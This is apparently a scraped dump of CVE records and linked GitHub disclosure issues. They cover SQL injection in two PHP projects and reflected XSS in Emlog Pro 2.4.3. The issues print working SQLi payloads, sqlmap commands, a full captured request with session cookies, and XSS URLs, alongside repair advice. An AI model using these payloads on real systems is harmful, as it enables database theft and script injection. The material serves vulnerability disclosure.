[![3](https://private-user-images.githubusercontent.com/151617791/399036792-0454a96e-f8de-4d7d-ac19-97bed3c0af2e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzkyLTA0NTRhOTZlLWY4ZGUtNGQ3ZC1hYzE5LTk3YmVkM2MwYWYyZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDc2NzRiYzYyYTYyZGU5NGYxNTZlMjdmMGFkMTExOTY3MTc0OTZkMTVlMmZjMmQ1ODlmMjIzNzA0Zjg3YTI3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.YOVrRkcn-tDPVU0Vzt4JQu5R_i-q-V2jODf24nUCzhg)](https://private-user-images.githubusercontent.com/151617791/399036792-0454a96e-f8de-4d7d-ac19-97bed3c0af2e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzkyLTA0NTRhOTZlLWY4ZGUtNGQ3ZC1hYzE5LTk3YmVkM2MwYWYyZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDc2NzRiYzYyYTYyZGU5NGYxNTZlMjdmMGFkMTExOTY3MTc0OTZkMTVlMmZjMmQ1ODlmMjIzNzA0Zjg3YTI3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.YOVrRkcn-tDPVU0Vzt4JQu5R_i-q-V2jODf24nUCzhg) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects Responsive Hotel Site Using PHP With Source Code v1.0 newsletter.php SQL injection

https://api.github.com/repos/Err-4O4/cve/issues/1/comments

0

2024-12-29T07:24:18Z

https://github.com/Err-4O4/cve/issues/1

2,762,139,940

1

6,472

CVE-2024-13008

2024-12-29T10:15:05.853

A vulnerability has been found in code-projects Responsive Hotel Site 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/newsletter.php. The manipulation of the argument eid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://code-projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Err-4O4/cve/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Lanxiy7th/lx_CVE_report-/issues/18" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.289669" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.289669" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.470575" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:fabianros:responsive_hotel_site:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E1C10207-0B0E-455F-B5AE-2CAA6C98BA15", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "89" ]

89

https://github.com/Lanxiy7th/lx_CVE_report-/issues/18

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Lanxiy7th", "lx_CVE_report-" ]

# code-projects Responsive Hotel Site Using PHP With Source Code v1.0 newsletter.php SQL injection # eidOF AFFECTED PRODUCT(S) + Responsive Hotel Site Using PHP With Source Code ## Vendor Homepage + https://code-projects.org/responsive-hotel-site-using-php-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Unique_4O4 ## Vulnerable File + newsletter.php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/b75079c7-3ff5-4d6a-a577-d810d0b1bca7 # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'newsletter.php' file of the 'Responsive Hotel Site Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "eid" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. <img width="639" alt="1" src="https://github.com/user-attachments/assets/b850ec51-c83f-438b-a5da-4a75cd967671" /> ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input verification for the "eid" parameter, a serious SQL injection vulnerability has been discovered in the "Responsive Hotel Site Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity. # Vulnerability details and POC ``` GET /admin/newsletter.php?eid=24 HTTP/1.1 Host: 192.168.0.102:1216 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://192.168.0.102:1216/admin/messages.php Cookie: PHPSESSID=ng2789oib9vsb0mictkp8o643v; style=purple; pma_lang=zh_CN; phpMyAdmin=t2g57v03vkkbesjgc2f4ilfdnj; pmaUser-1=%7B%22iv%22%3A%22L3HPyp65gVKUXHbQXSGimQ%3D%3D%22%2C%22mac%22%3A%22e2f2810d18a3550dc9f45569457f2c63a2814d30%22%2C%22payload%22%3A%22LKyIvWiZugcK0dpJ1wIEPw%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22rIC0LmcjLVFVOdDOSbV2uA%3D%3D%22%2C%22mac%22%3A%2276401df3cf1f90a94f780e56fb01180474904234%22%2C%22payload%22%3A%22t5DcyNu3uz0Q1xidsHos9LaDq4gzTsYdXixu3OBW%2BhU%3D%22%7D Upgrade-Insecure-Requests: 1 Priority: u=0, i ``` ## Vulnerability type: + time-based blind + boolean-based blind + error-based ## Vulnerability location: + 'eid' parameter ## Payload: ``` Parameter: eid (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: eid=24' RLIKE (SELECT (CASE WHEN (6304=6304) THEN 24 ELSE 0x28 END))-- FqOa Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: eid=24' OR (SELECT 7719 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(7719=7719,1))),0x716b766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZbqU Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: eid=24' AND (SELECT 6523 FROM (SELECT(SLEEP(5)))EHgG)-- orSh ``` <img width="316" alt="2" src="https://github.com/user-attachments/assets/6ce460e3-dd4f-4830-9824-5b07b0c98093" /> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` <img width="310" alt="3" src="https://github.com/user-attachments/assets/0454a96e-f8de-4d7d-ac19-97bed3c0af2e" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects Responsive Hotel Site Using PHP With Source Code v1.0 newsletter.php SQL injection

https://api.github.com/repos/Lanxiy7th/lx_CVE_report-/issues/18/comments

0

2024-12-28T03:56:11Z

2024-12-28T03:56:12Z

https://github.com/Lanxiy7th/lx_CVE_report-/issues/18

2,761,422,178

18

6,473

CVE-2024-13037

2024-12-30T04:15:05.200

A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been classified as critical. Affected is the function attendance_report of the file /admin/report.php. The manipulation of the argument course_id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/matias-a11y/cve/issues/2

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "matias-a11y", "cve" ]

# **Step-by-Step Vulnerability Report** ## **Step 1: Context and System Overview** - **Application Name**: Attendance Tracking Management System (PHP & MySQL) - **Version**: 1.0 - **Vulnerable Endpoint**: `/admin/report.php` - **Discovered By**: mxh9934 - **Vendor Homepage**: [Attendance Tracking Management System Project](https://1000projects.org/attendance-tracking-management-system-php-mysql-project.html#google_vignette) - **Download Source**: [Attendance-Tracking-Management-System.7z](https://1000projects.org/wp-content/uploads/2022/04/Attendance-Tracking-Management-System.7z) No authentication or authorization is required to exploit the identified vulnerability, increasing the severity level for this issue. --- ## **Step 2: Discovery and Root Cause** 1. **Initial Observation** - Researchers noticed abnormal query responses when modifying the parameter `attendance_id` (in practice, labeled as `course_id` in the actual request) in `/admin/report.php`. 2. **Root Cause** - Input from `course_id` is used **directly** in SQL queries without proper cleansing or validation. - Attackers can embed malicious SQL statements by manipulating the parameter, thereby gaining unauthorized access to or control of the database. Example of Unvalidated Parameter: ```bash ?action=attendance_report&course_id=1' AND (SELECT 2306 FROM (SELECT(SLEEP(5)))iSqm)-- ... ``` --- ## **Step 3: Exploitation Process** 1. **Crafting a Malicious Request** - Attackers supply a payload in the `course_id` parameter, exploiting the time-based blind SQL injection technique. 2. **Sample Payload** ```bash action=attendance_report&course_id=1' AND (SELECT 2306 FROM (SELECT(SLEEP(5)))iSqm)-- fNTe&from_date=2024-12-06&to_date=2024-12-06 ``` 3. **Automated Testing with sqlmap** ```bash sqlmap -u "http://10.211.55.6:1131/admin/report.php?action=attendance_report&course_id=1&from_date=2024-12-06&to_date=2024-12-06" \ --batch --level=5 --risk=3 --dbs ``` - **Outcome**: Successful injection grants the ability to enumerate databases and potentially manipulate data. 4. **Evidence of Successful Injection** - **Screenshots**: ![微信图片_20241229222238](https://github.com/user-attachments/assets/d0f746f1-232b-426c-a280-57204c3114ed) --- ## **Step 4: Impact on the System** If successfully exploited, this SQL injection can result in: - **Unauthorized Database Access**: Attackers read or retrieve sensitive information. - **Data Leakage**: Confidential records such as attendance logs or user info may be exposed. - **Data Manipulation**: Potential to create, update, or delete rows maliciously. - **System Disruption**: Use of time-based (SLEEP) queries could degrade performance or crash services. - **Wider Network Risks**: Lateral movement if privileged credentials are compromised. --- ## **Step 5: Recommended Fixes and Mitigations** 1. **Prepared Statements & Parameterized Queries** - Ensure SQL queries are constructed using placeholders that separate logic from user input. 2. **Input Validation & Sanitization** - Rigorously validate data from parameters like `course_id`. Reject or sanitize special characters and enforce strict formatting rules. 3. **Minimal Database Privileges** - Restrict DB users to only the privileges needed. Avoid using powerful accounts (like `root`) for routine queries. 4. **Regular Security Scanning** - Schedule routine audits (automated + manual) to detect similar flaws early and maintain secure code practices. --- ## **Conclusion** A severe SQL injection flaw in `/admin/report.php` within **Attendance Tracking Management System (PHP & MySQL) v1.0** can lead to unauthorized data access and potential takeover. Implementing the recommended mitigation strategies—particularly parameterized queries and stricter input validation—can safeguard against this and future injection vulnerabilities. --- **Disclaimer**: This report is intended for responsible disclosure and educational purposes. The vendor is advised to deploy fixes immediately to protect user data and system integrity. Unauthorized exploitation of this vulnerability may violate applicable laws.

Attendance Tracking Management System SQL

https://api.github.com/repos/matias-a11y/cve/issues/2/comments

0

2024-12-29T14:24:23Z

https://github.com/matias-a11y/cve/issues/2

2,762,272,987

2

6,474

CVE-2024-13132

2025-01-05T05:15:06.400

A vulnerability classified as problematic was found in Emlog Pro up to 2.4.3. This vulnerability affects unknown code of the file /admin/article.php of the component Subpage Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/emlog/emlog/issues/309

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Description Emlog pro 2.4.3 is vulnerable to XSS in admin/article.php # Root Cause The server retrieves the parameters passed by the browser, concatenates them to form a URL address, and then returns it to the browser ![image](https://github.com/user-attachments/assets/329541e0-1639-4e36-ba4d-95f1b004d441) # payload http://localhost/admin/article.php?a=1%22%20onmouseover=%27alert(1)%27%22&page=1 ![image](https://github.com/user-attachments/assets/92d66dc1-d93d-4aa4-ab8d-7fee184d3935)

emlog pro 2.4.3 has a reflected XSS vulnerability in article.php

https://api.github.com/repos/emlog/emlog/issues/309/comments

2

2024-12-23T06:21:09Z

2025-03-28T04:44:14Z

https://github.com/emlog/emlog/issues/309

2,755,317,359

309

6,475

CVE-2024-13132

2025-01-05T05:15:06.400

A vulnerability classified as problematic was found in Emlog Pro up to 2.4.3. This vulnerability affects unknown code of the file /admin/article.php of the component Subpage Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/emlog/emlog/issues/309#issue-2755317359

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Description Emlog pro 2.4.3 is vulnerable to XSS in admin/article.php # Root Cause The server retrieves the parameters passed by the browser, concatenates them to form a URL address, and then returns it to the browser ![image](https://github.com/user-attachments/assets/329541e0-1639-4e36-ba4d-95f1b004d441) # payload http://localhost/admin/article.php?a=1%22%20onmouseover=%27alert(1)%27%22&page=1 ![image](https://github.com/user-attachments/assets/92d66dc1-d93d-4aa4-ab8d-7fee184d3935)

emlog pro 2.4.3 has a reflected XSS vulnerability in article.php

https://api.github.com/repos/emlog/emlog/issues/309/comments

2

2024-12-23T06:21:09Z

2025-03-28T04:44:14Z

https://github.com/emlog/emlog/issues/309

2,755,317,359

309

6,476

CVE-2024-13135

2025-01-05T09:15:05.240

A vulnerability has been found in Emlog Pro 2.4.3 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/twitter.php of the component Subpage Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

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[ "79" ]

79

https://github.com/emlog/emlog/issues/311

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Description Emlog pro 2.4.3 is vulnerable to XSS in admin/twitter.php.Attackers can add malicious JavaScript scripts to the URL, and the server will concatenate the malicious scripts into the URL and return them to the browser, ultimately causing XSS vulnerabilities # Root Case The server retrieves the parameters passed by the browser, concatenates them to form a URL address, and then returns it to the browser ![image](https://github.com/user-attachments/assets/ec53667d-0eb8-4205-91f3-340c5dd0f240) # Payload http://localhost/admin/twitter.php?active_t=1\%22%3E%3CsCrIpT%3Ealert(1)%3C/ScRiPt%3E ![image](https://github.com/user-attachments/assets/c8ce8fa6-111e-4f24-82f1-54a871bf32da)

emlog pro 2.4.3 has a reflected XSS vulnerability in twitter.php

https://api.github.com/repos/emlog/emlog/issues/311/comments

2

2024-12-23T07:24:38Z

2025-03-28T04:44:33Z

https://github.com/emlog/emlog/issues/311

2,755,404,584

311

6,477

CVE-2024-13135

2025-01-05T09:15:05.240

A vulnerability has been found in Emlog Pro 2.4.3 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/twitter.php of the component Subpage Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/311" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/311#issue-2755404584" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290209" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?id.290209" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.467929" } ]

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[ "79" ]

79

https://github.com/emlog/emlog/issues/311#issue-2755404584

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Description Emlog pro 2.4.3 is vulnerable to XSS in admin/twitter.php.Attackers can add malicious JavaScript scripts to the URL, and the server will concatenate the malicious scripts into the URL and return them to the browser, ultimately causing XSS vulnerabilities # Root Case The server retrieves the parameters passed by the browser, concatenates them to form a URL address, and then returns it to the browser ![image](https://github.com/user-attachments/assets/ec53667d-0eb8-4205-91f3-340c5dd0f240) # Payload http://localhost/admin/twitter.php?active_t=1\%22%3E%3CsCrIpT%3Ealert(1)%3C/ScRiPt%3E ![image](https://github.com/user-attachments/assets/c8ce8fa6-111e-4f24-82f1-54a871bf32da)

emlog pro 2.4.3 has a reflected XSS vulnerability in twitter.php

https://api.github.com/repos/emlog/emlog/issues/311/comments

2

2024-12-23T07:24:38Z

2025-03-28T04:44:33Z

https://github.com/emlog/emlog/issues/311

2,755,404,584

311

6,478

CVE-2024-13136

2025-01-05T09:15:06.320

